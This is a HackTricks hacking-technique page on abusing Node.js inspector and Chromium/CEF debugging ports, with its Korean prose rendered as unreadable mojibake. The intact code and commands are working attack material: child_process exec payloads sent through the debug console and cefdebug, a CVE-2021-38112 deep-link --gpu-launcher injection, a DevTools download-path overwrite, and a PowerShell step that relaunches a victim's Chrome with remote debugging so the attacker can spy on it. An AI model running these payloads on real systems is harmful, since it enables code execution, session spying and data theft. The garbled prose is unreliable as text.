Node inspector/CEF debug abuse
Reading time: 7 minutes
tip
AWS ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:HackTricks Training AWS Red Team Expert (ARTE)
GCP ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ: HackTricks Training GCP Red Team Expert (GRTE)
Azure ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks ์ง์ํ๊ธฐ
- ๊ตฌ๋ ๊ณํ ํ์ธํ๊ธฐ!
- **๐ฌ ๋์ค์ฝ๋ ๊ทธ๋ฃน ๋๋ ํ ๋ ๊ทธ๋จ ๊ทธ๋ฃน์ ์ฐธ์ฌํ๊ฑฐ๋ ํธ์ํฐ ๐ฆ @hacktricks_live๋ฅผ ํ๋ก์ฐํ์ธ์.
- HackTricks ๋ฐ HackTricks Cloud ๊นํ๋ธ ๋ฆฌํฌ์งํ ๋ฆฌ์ PR์ ์ ์ถํ์ฌ ํดํน ํธ๋ฆญ์ ๊ณต์ ํ์ธ์.
Basic Information
From the docs: --inspect
์ค์์น๋ก ์์ํ๋ฉด, Node.js ํ๋ก์ธ์ค๋ ๋๋ฒ๊น
ํด๋ผ์ด์ธํธ๋ฅผ ์ํด ๋๊ธฐํฉ๋๋ค. ๊ธฐ๋ณธ์ ์ผ๋ก, ํธ์คํธ์ ํฌํธ **127.0.0.1:9229
**์์ ๋๊ธฐํฉ๋๋ค. ๊ฐ ํ๋ก์ธ์ค๋ ๋ํ ๊ณ ์ ํ UUID๊ฐ ํ ๋น๋ฉ๋๋ค.
์ธ์คํํฐ ํด๋ผ์ด์ธํธ๋ ์ฐ๊ฒฐํ๊ธฐ ์ํด ํธ์คํธ ์ฃผ์, ํฌํธ ๋ฐ UUID๋ฅผ ์๊ณ ์ง์ ํด์ผ ํฉ๋๋ค. ์ ์ฒด URL์ ws://127.0.0.1:9229/0f2c936f-b1cd-4ac9-aab3-f63b0f33d55e
์ ๋น์ทํ๊ฒ ๋ณด์ผ ๊ฒ์
๋๋ค.
warning
๋๋ฒ๊ฑฐ๊ฐ Node.js ์คํ ํ๊ฒฝ์ ๋ํ ์ ์ฒด ์ ๊ทผ ๊ถํ์ ๊ฐ์ง๊ณ ์๊ธฐ ๋๋ฌธ์, ์ด ํฌํธ์ ์ฐ๊ฒฐํ ์ ์๋ ์ ์์ ์ธ ํ์์๋ Node.js ํ๋ก์ธ์ค๋ฅผ ๋์ ํ์ฌ ์์์ ์ฝ๋๋ฅผ ์คํํ ์ ์์ต๋๋ค (์ ์ฌ์ ์ธ ๊ถํ ์์น).
์ธ์คํํฐ๋ฅผ ์์ํ๋ ๋ฐฉ๋ฒ์ ์ฌ๋ฌ ๊ฐ์ง๊ฐ ์์ต๋๋ค:
node --inspect app.js #Will run the inspector in port 9229
node --inspect=4444 app.js #Will run the inspector in port 4444
node --inspect=0.0.0.0:4444 app.js #Will run the inspector all ifaces and port 4444
node --inspect-brk=0.0.0.0:4444 app.js #Will run the inspector all ifaces and port 4444
# --inspect-brk is equivalent to --inspect
node --inspect --inspect-port=0 app.js #Will run the inspector in a random port
# Note that using "--inspect-port" without "--inspect" or "--inspect-brk" won't run the inspector
๊ฒ์ฌ๋ ํ๋ก์ธ์ค๋ฅผ ์์ํ๋ฉด ๋ค์๊ณผ ๊ฐ์ ๋ด์ฉ์ด ๋ํ๋ฉ๋๋ค:
Debugger ending on ws://127.0.0.1:9229/45ea962a-29dd-4cdd-be08-a6827840553d
For help, see: https://nodejs.org/en/docs/inspector
ํ๋ก์ธ์ค๋ CEF (Chromium Embedded Framework)๋ฅผ ๊ธฐ๋ฐ์ผ๋ก ํ๋ฉฐ, ๋๋ฒ๊ฑฐ๋ฅผ ์ด๊ธฐ ์ํด --remote-debugging-port=9222
๋งค๊ฐ๋ณ์๋ฅผ ์ฌ์ฉํด์ผ ํฉ๋๋ค (SSRF ๋ณดํธ๋ ๋งค์ฐ ์ ์ฌํ๊ฒ ์ ์ง๋ฉ๋๋ค). ๊ทธ๋ฌ๋ NodeJS ๋๋ฒ๊ทธ ์ธ์
์ ๋ถ์ฌํ๋ ๋์ Chrome DevTools Protocol์ ์ฌ์ฉํ์ฌ ๋ธ๋ผ์ฐ์ ์ ํต์ ํฉ๋๋ค. ์ด๋ ๋ธ๋ผ์ฐ์ ๋ฅผ ์ ์ดํ๊ธฐ ์ํ ์ธํฐํ์ด์ค์ด์ง๋ง, ์ง์ ์ ์ธ RCE๋ ์์ต๋๋ค.
๋๋ฒ๊ทธ๋ ๋ธ๋ผ์ฐ์ ๋ฅผ ์์ํ๋ฉด ๋ค์๊ณผ ๊ฐ์ ๋ด์ฉ์ด ๋ํ๋ฉ๋๋ค:
DevTools listening on ws://127.0.0.1:9222/devtools/browser/7d7aa9d9-7c61-4114-b4c6-fcf5c35b4369
๋ธ๋ผ์ฐ์ , ์น์์ผ ๋ฐ ๋์ผ ์ถ์ฒ ์ ์ฑ
์น ๋ธ๋ผ์ฐ์ ์์ ์ด๋ฆฌ๋ ์น์ฌ์ดํธ๋ ๋ธ๋ผ์ฐ์ ๋ณด์ ๋ชจ๋ธ์ ๋ฐ๋ผ ์น์์ผ ๋ฐ HTTP ์์ฒญ์ ํ ์ ์์ต๋๋ค. ๊ณ ์ ํ ๋๋ฒ๊ฑฐ ์ธ์
ID๋ฅผ ์ป๊ธฐ ์ํด ์ด๊ธฐ HTTP ์ฐ๊ฒฐ์ด ํ์ํฉ๋๋ค. ๋์ผ ์ถ์ฒ ์ ์ฑ
์ ์น์ฌ์ดํธ๊ฐ ์ด HTTP ์ฐ๊ฒฐ์ ๋ง๋ค ์ ์๋๋ก ๋ฐฉ์งํฉ๋๋ค. DNS ๋ฆฌ๋ฐ์ธ๋ฉ ๊ณต๊ฒฉ์ ๋ํ ์ถ๊ฐ ๋ณด์์ ์ํด, Node.js๋ ์ฐ๊ฒฐ์ ๋ํ 'Host' ํค๋๊ฐ IP ์ฃผ์ ๋๋ localhost
๋๋ **localhost6
**๋ฅผ ์ ํํ ์ง์ ํ๋์ง ํ์ธํฉ๋๋ค.
note
์ด ๋ณด์ ์กฐ์น๋ HTTP ์์ฒญ์ ๋ณด๋ด๊ธฐ๋ง ํด๋ ์ฝ๋๋ฅผ ์คํํ๊ธฐ ์ํด ์ธ์คํํฐ๋ฅผ ์ ์ฉํ๋ ๊ฒ์ ๋ฐฉ์งํฉ๋๋ค (์ด๋ SSRF ์ทจ์ฝ์ ์ ์ ์ฉํ์ฌ ์ํํ ์ ์์ต๋๋ค).
์คํ ์ค์ธ ํ๋ก์ธ์ค์์ ์ธ์คํํฐ ์์ํ๊ธฐ
์คํ ์ค์ธ nodejs ํ๋ก์ธ์ค์ SIGUSR1 ์ ํธ๋ฅผ ๋ณด๋ด๋ฉด ๊ธฐ๋ณธ ํฌํธ์์ ์ธ์คํํฐ๋ฅผ ์์ํ๊ฒ ํ ์ ์์ต๋๋ค. ๊ทธ๋ฌ๋ ์ถฉ๋ถํ ๊ถํ์ด ํ์ํ๋ฏ๋ก, ์ด๋ ํ๋ก์ธ์ค ๋ด๋ถ์ ์ ๋ณด์ ํน๊ถ ์ก์ธ์ค๋ฅผ ๋ถ์ฌํ ์ ์์ง๋ง ์ง์ ์ ์ธ ๊ถํ ์์น์ ์๋๋๋ค.
kill -s SIGUSR1 <nodejs-ps>
# After an URL to access the debugger will appear. e.g. ws://127.0.0.1:9229/45ea962a-29dd-4cdd-be08-a6827840553d
note
์ด ๋ฐฉ๋ฒ์ ์ปจํ
์ด๋์์ ์ ์ฉํฉ๋๋ค. ์๋ํ๋ฉด --inspect
๋ก ํ๋ก์ธ์ค๋ฅผ ์ข
๋ฃํ๊ณ ์๋ก ์์ํ๋ ๊ฒ์ ์ต์
์ด ์๋๊ธฐ ๋๋ฌธ์
๋๋ค. ์ปจํ
์ด๋๋ ํ๋ก์ธ์ค์ ํจ๊ป ์ข
๋ฃ๋ฉ๋๋ค.
๊ฒ์ฌ๊ธฐ/๋๋ฒ๊ฑฐ์ ์ฐ๊ฒฐ
Chromium ๊ธฐ๋ฐ ๋ธ๋ผ์ฐ์ ์ ์ฐ๊ฒฐํ๋ ค๋ฉด Chrome ๋๋ Edge์ ๋ํด ๊ฐ๊ฐ chrome://inspect
๋๋ edge://inspect
URL์ ์ ๊ทผํ ์ ์์ต๋๋ค. ๊ตฌ์ฑ ๋ฒํผ์ ํด๋ฆญํ์ฌ ๋์ ํธ์คํธ์ ํฌํธ๊ฐ ์ฌ๋ฐ๋ฅด๊ฒ ๋์ด๋์ด ์๋์ง ํ์ธํด์ผ ํฉ๋๋ค. ์ด๋ฏธ์ง๋ ์๊ฒฉ ์ฝ๋ ์คํ(RCE) ์์ ๋ฅผ ๋ณด์ฌ์ค๋๋ค:
๋ช ๋ น์ค์ ์ฌ์ฉํ์ฌ ๋ค์๊ณผ ๊ฐ์ด ๋๋ฒ๊ฑฐ/๊ฒ์ฌ๊ธฐ์ ์ฐ๊ฒฐํ ์ ์์ต๋๋ค:
node inspect <ip>:<port>
node inspect 127.0.0.1:9229
# RCE example from debug console
debug> exec("process.mainModule.require('child_process').exec('/Applications/iTerm.app/Contents/MacOS/iTerm2')")
๋๊ตฌ https://github.com/taviso/cefdebug๋ ๋ก์ปฌ์์ ์คํ ์ค์ธ ๊ฒ์ฌ๊ธฐ๋ฅผ ์ฐพ๊ณ ๊ทธ ์์ ์ฝ๋๋ฅผ ์ฃผ์ ํ ์ ์๊ฒ ํด์ค๋๋ค.
#List possible vulnerable sockets
./cefdebug.exe
#Check if possibly vulnerable
./cefdebug.exe --url ws://127.0.0.1:3585/5a9e3209-3983-41fa-b0ab-e739afc8628a --code "process.version"
#Exploit it
./cefdebug.exe --url ws://127.0.0.1:3585/5a9e3209-3983-41fa-b0ab-e739afc8628a --code "process.mainModule.require('child_process').exec('calc')"
note
NodeJS RCE ์ต์คํ๋ก์์ Chrome DevTools Protocol์ ์ฐ๊ฒฐ๋ ๊ฒฝ์ฐ ์๋ํ์ง ์์ต๋๋ค(ํฅ๋ฏธ๋ก์ด ์์ ์ ์ํํ๊ธฐ ์ํด API๋ฅผ ํ์ธํด์ผ ํฉ๋๋ค).
NodeJS ๋๋ฒ๊ฑฐ/์ธ์คํํฐ์์์ RCE
note
Electron์์ XSS๋ก RCE๋ฅผ ์ป๋ ๋ฐฉ๋ฒ์ ์ฐพ๊ณ ์๋ค๋ฉด ์ด ํ์ด์ง๋ฅผ ํ์ธํ์ธ์.
Node ์ธ์คํํฐ์ ์ฐ๊ฒฐํ ์ ์์ ๋ RCE๋ฅผ ์ป๋ ์ผ๋ฐ์ ์ธ ๋ฐฉ๋ฒ ์ค ์ผ๋ถ๋ ๋ค์๊ณผ ๊ฐ์ต๋๋ค(์ด Chrome DevTools ํ๋กํ ์ฝ์ ์ฐ๊ฒฐํ ๋๋ ์๋ํ์ง ์์ ๊ฒ ๊ฐ์ต๋๋ค):
process.mainModule.require("child_process").exec("calc")
window.appshell.app.openURLInDefaultBrowser("c:/windows/system32/calc.exe")
require("child_process").spawnSync("calc.exe")
Browser.open(JSON.stringify({ url: "c:\\windows\\system32\\calc.exe" }))
Chrome DevTools Protocol Payloads
API๋ฅผ ์ฌ๊ธฐ์์ ํ์ธํ ์ ์์ต๋๋ค: https://chromedevtools.github.io/devtools-protocol/
์ด ์น์
์์๋ ์ฌ๋๋ค์ด ์ด ํ๋กํ ์ฝ์ ์
์ฉํ๋ ๋ฐ ์ฌ์ฉํ ํฅ๋ฏธ๋ก์ด ๊ฒ๋ค์ ๋์ดํ๊ฒ ์ต๋๋ค.
Deep Links๋ฅผ ํตํ ๋งค๊ฐ๋ณ์ ์ฃผ์
CVE-2021-38112์์ Rhino ๋ณด์์ CEF ๊ธฐ๋ฐ ์ ํ๋ฆฌ์ผ์ด์ ์ด ์์คํ ์ ์ฌ์ฉ์ ์ ์ URI(workspaces://index.html)๋ฅผ ๋ฑ๋กํ์ฌ ์ ์ฒด URI๋ฅผ ์์ ํ๊ณ , ๊ทธ URI์์ ๋ถ๋ถ์ ์ผ๋ก ๊ตฌ์ฑ๋ ์ค์ ์ผ๋ก CEF ๊ธฐ๋ฐ ์ ํ๋ฆฌ์ผ์ด์ ์ ์คํํ๋ค๋ ๊ฒ์ ๋ฐ๊ฒฌํ์ต๋๋ค.
URI ๋งค๊ฐ๋ณ์๊ฐ URL ๋์ฝ๋ฉ๋์ด CEF ๊ธฐ๋ณธ ์ ํ๋ฆฌ์ผ์ด์
์ ์คํํ๋ ๋ฐ ์ฌ์ฉ๋์์ผ๋ฉฐ, ์ฌ์ฉ์๊ฐ ๋ช
๋ น์ค์ --gpu-launcher
ํ๋๊ทธ๋ฅผ ์ฃผ์
ํ๊ณ ์์์ ์์
์ ์คํํ ์ ์๊ฒ ๋์์ต๋๋ค.
๋ฐ๋ผ์, ๋ค์๊ณผ ๊ฐ์ ํ์ด๋ก๋:
workspaces://anything%20--gpu-launcher=%22calc.exe%22@REGISTRATION_CODE
calc.exe๋ฅผ ์คํํฉ๋๋ค.
ํ์ผ ๋ฎ์ด์ฐ๊ธฐ
๋ค์ด๋ก๋๋ ํ์ผ์ด ์ ์ฅ๋ ํด๋๋ฅผ ๋ณ๊ฒฝํ๊ณ , ์ ์ฑ ์ฝ๋๋ก ์ ํ๋ฆฌ์ผ์ด์ ์ ์์ฃผ ์ฌ์ฉ๋๋ ์์ค ์ฝ๋๋ฅผ ๋ฎ์ด์ฐ๊ธฐ ์ํด ํ์ผ์ ๋ค์ด๋ก๋ํฉ๋๋ค.
ws = new WebSocket(url) //URL of the chrome devtools service
ws.send(
JSON.stringify({
id: 42069,
method: "Browser.setDownloadBehavior",
params: {
behavior: "allow",
downloadPath: "/code/",
},
})
)
Webdriver RCE ๋ฐ ์ ์ถ
์ด ๊ฒ์๋ฌผ์ ๋ฐ๋ฅด๋ฉด: https://medium.com/@knownsec404team/counter-webdriver-from-bot-to-rce-b5bfb309d148 RCE๋ฅผ ์ป๊ณ ๋ด๋ถ ํ์ด์ง๋ฅผ ์ ์ถํ๋ ๊ฒ์ด ๊ฐ๋ฅํฉ๋๋ค.
์ฌํ ํ์ฉ
์ค์ ํ๊ฒฝ์์ ์ฌ์ฉ์ PC๋ฅผ ํ๊ฒ์ผ๋ก ํ ํ Chrome/Chromium ๊ธฐ๋ฐ ๋ธ๋ผ์ฐ์ ๋ฅผ ์ฌ์ฉํ๋ ๊ฒฝ์ฐ, ๋๋ฒ๊น ์ด ํ์ฑํ๋ Chrome ํ๋ก์ธ์ค๋ฅผ ์คํํ๊ณ ๋๋ฒ๊น ํฌํธ๋ฅผ ํฌํธ ํฌ์๋ฉํ์ฌ ์ ๊ทผํ ์ ์์ต๋๋ค. ์ด๋ ๊ฒ ํ๋ฉด ํฌ์์๊ฐ Chrome์ผ๋ก ์ํํ๋ ๋ชจ๋ ์์ ์ ๊ฒ์ฌํ๊ณ ๋ฏผ๊ฐํ ์ ๋ณด๋ฅผ ํ์น ์ ์์ต๋๋ค.
์๋ฐํ ๋ฐฉ๋ฒ์ ๋ชจ๋ Chrome ํ๋ก์ธ์ค๋ฅผ ์ข ๋ฃํ ๋ค์ ๋ค์๊ณผ ๊ฐ์ ๊ฒ์ ํธ์ถํ๋ ๊ฒ์ ๋๋ค.
Start-Process "Chrome" "--remote-debugging-port=9222 --restore-last-session"
References
- https://www.youtube.com/watch?v=iwR746pfTEc&t=6345s
- https://github.com/taviso/cefdebug
- https://iwantmore.pizza/posts/cve-2019-1414.html
- https://bugs.chromium.org/p/project-zero/issues/detail?id=773
- https://bugs.chromium.org/p/project-zero/issues/detail?id=1742
- https://bugs.chromium.org/p/project-zero/issues/detail?id=1944
- https://nodejs.org/en/docs/guides/debugging-getting-started/
- https://chromedevtools.github.io/devtools-protocol/
- https://larry.science/post/corctf-2021/#saasme-2-solves
- https://embracethered.com/blog/posts/2020/chrome-spy-remote-control/
tip
AWS ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:HackTricks Training AWS Red Team Expert (ARTE)
GCP ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ: HackTricks Training GCP Red Team Expert (GRTE)
Azure ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks ์ง์ํ๊ธฐ
- ๊ตฌ๋ ๊ณํ ํ์ธํ๊ธฐ!
- **๐ฌ ๋์ค์ฝ๋ ๊ทธ๋ฃน ๋๋ ํ ๋ ๊ทธ๋จ ๊ทธ๋ฃน์ ์ฐธ์ฌํ๊ฑฐ๋ ํธ์ํฐ ๐ฆ @hacktricks_live๋ฅผ ํ๋ก์ฐํ์ธ์.
- HackTricks ๋ฐ HackTricks Cloud ๊นํ๋ธ ๋ฆฌํฌ์งํ ๋ฆฌ์ PR์ ์ ์ถํ์ฌ ํดํน ํธ๋ฆญ์ ๊ณต์ ํ์ธ์.